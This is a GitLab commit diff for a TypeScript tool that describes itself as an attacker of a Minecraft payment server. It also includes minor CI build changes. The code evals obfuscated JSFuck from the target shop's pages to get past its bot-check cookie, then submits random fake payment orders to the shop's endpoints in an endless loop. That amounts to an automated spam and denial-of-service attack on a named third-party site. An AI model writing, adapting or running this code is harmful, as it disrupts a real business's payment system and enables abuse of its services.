Commit 07054148 authored by nanahira's avatar nanahira

finish

parent eb1d2e36
Pipeline #6683 passed with stages
in 2 minutes and 13 seconds
......@@ -15,30 +15,9 @@ build-x86:
tags:
- docker
script:
- TARGET_IMAGE=$CONTAINER_TEST_X86_IMAGE
- docker build --pull -t $TARGET_IMAGE .
- docker push $TARGET_IMAGE
build-arm:
stage: build
tags:
- docker-arm
script:
- TARGET_IMAGE=$CONTAINER_TEST_ARM_IMAGE
- TARGET_IMAGE=$CONTAINER_TEST_IMAGE
- docker build --pull -t $TARGET_IMAGE .
- docker push $TARGET_IMAGE
combine:
stage: combine
tags:
- docker
script:
- TARGET_IMAGE=$CONTAINER_TEST_IMAGE
- SOURCE_IMAGE_2=$CONTAINER_TEST_ARM_IMAGE
- SOURCE_IMAGE_1=$CONTAINER_TEST_X86_IMAGE
- docker pull $SOURCE_IMAGE_1
- docker pull $SOURCE_IMAGE_2
- docker manifest create $TARGET_IMAGE --amend $SOURCE_IMAGE_1 --amend
$SOURCE_IMAGE_2
- docker manifest push $TARGET_IMAGE
deploy_latest:
stage: deploy
tags:
......
import axios from 'axios';
import cryptoRandomString from 'crypto-random-string';
import qs from 'qs';
import got from 'got';
import https from 'https';
import http2 from 'http2-wrapper';
const agent = new https.Agent();
const http2Agent = new http2.Agent();
Object.assign(agent, http2Agent);
import delay from 'delay';
function parseJsFuck(code: string): string {
return eval(`(${code})`);
}
function defaultHeaders(Cookie?: string, extras: Record<string, string> = {}) {
return {
Host: 'paperboxshop.top',
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
//accept: 'text/html',
Connection: 'keep-alive',
...(Cookie ? { Cookie } : undefined),
...extras,
};
}
let cookieCount = 0;
function getCookie(phpSessionId: string, defend: string) {
return `sec_defend=${defend}; PHPSESSID=${phpSessionId}; counter=${++cookieCount};`;
}
async function attack() {
console.log('Requesting loading page.');
const loadingPage = await got('https://paperboxshop.top/index.php', {
headers: {
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
}).text();
console.log(loadingPage);
const {
data: loadingPage,
headers: { 'set-cookie': cookie },
} = await axios.get<string>('https://paperboxshop.top/index.php', {
responseType: 'text',
headers: defaultHeaders(),
});
const phpSessionId = cookie[0].match(/PHPSESSID=([0-9a-z]+)/)[1];
//console.log(headers, loadingPage);
const jsFuckMatch = loadingPage.match(
/setCookie\('sec_defend', ?\(([\[\]\(\)!\+\{\}]+)\)\);setCookie/,
);
......@@ -31,17 +46,11 @@ async function attack() {
const sec_defend = parseJsFuck(jsFuckMatch[1]);
console.log(`sec_defend: ${sec_defend}`);
console.log('Requesting main page.');
const Cookie = `sec_defend=${sec_defend};`;
const { data: mainPage, headers: mainPageHeaders } = await axios.get(
'https://paperboxshop.top/index.php',
{
responseType: 'text',
httpsAgent: agent,
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
headers: defaultHeaders(getCookie(phpSessionId, sec_defend)),
},
);
const hashsaltMatch = mainPage.match(/var hashsalt=([\[\]\(\)!\+\{\}]+);/);
......@@ -51,46 +60,50 @@ async function attack() {
}
const hashsalt = parseJsFuck(hashsaltMatch[1]);
console.log(`hashsalt: ${hashsalt}`);
console.log('Submitting payment.');
const data = {
tid: 1,
inputvalue: cryptoRandomString({ length: 8, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
};
console.log(`Submitting payment: ${JSON.stringify(data)}`);
const { data: payResult } = await axios.post<{
code: number;
msg: string;
trade_no: string;
}>(
'https://paperboxshop.top/ajax.php?act=pay',
qs.stringify({
tid: 1,
inputvalue: cryptoRandomString({ length: 12, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
}>('https://paperboxshop.top/ajax.php?act=pay', qs.stringify(data), {
responseType: 'json',
headers: defaultHeaders(getCookie(phpSessionId, sec_defend), {
Origin: 'https://paperboxshop.top',
Referer: 'https://paperboxshop.top/?cid=1&tid=1',
}),
{
responseType: 'json',
httpsAgent: agent,
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
},
);
});
if (payResult.code) {
console.error(`Payment failed: ${payResult.code} ${payResult.msg}`);
console.error(
`Payment failed: ${payResult.code} ${JSON.stringify(payResult)}`,
);
return;
}
await axios.get(`https://paperboxshop.top/other/submit.php`, {
responseType: 'arraybuffer',
httpsAgent: agent,
params: {
type: 'alipay',
orderid: payResult.trade_no,
},
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
headers: defaultHeaders(getCookie(phpSessionId, sec_defend)),
});
console.log(`Success: ${JSON.stringify(payResult)}`);
}
attack();
async function main() {
while (true) {
try {
await attack();
} catch (e) {
console.error(`Attack failed: ${e.toString()}`);
delay(100);
}
}
}
main();
This diff is collapsed.
......@@ -4,7 +4,7 @@
"description": "Attacker of zhixiang minecraft payment server",
"main": "dist/index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
"build": "tsc"
},
"repository": {
"type": "git",
......@@ -26,8 +26,7 @@
"dependencies": {
"axios": "^0.24.0",
"crypto-random-string": "^3.3.1",
"got": "^11.8.2",
"http2-wrapper": "^2.1.9",
"delay": "^5.0.0",
"qs": "^6.10.1"
}
}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment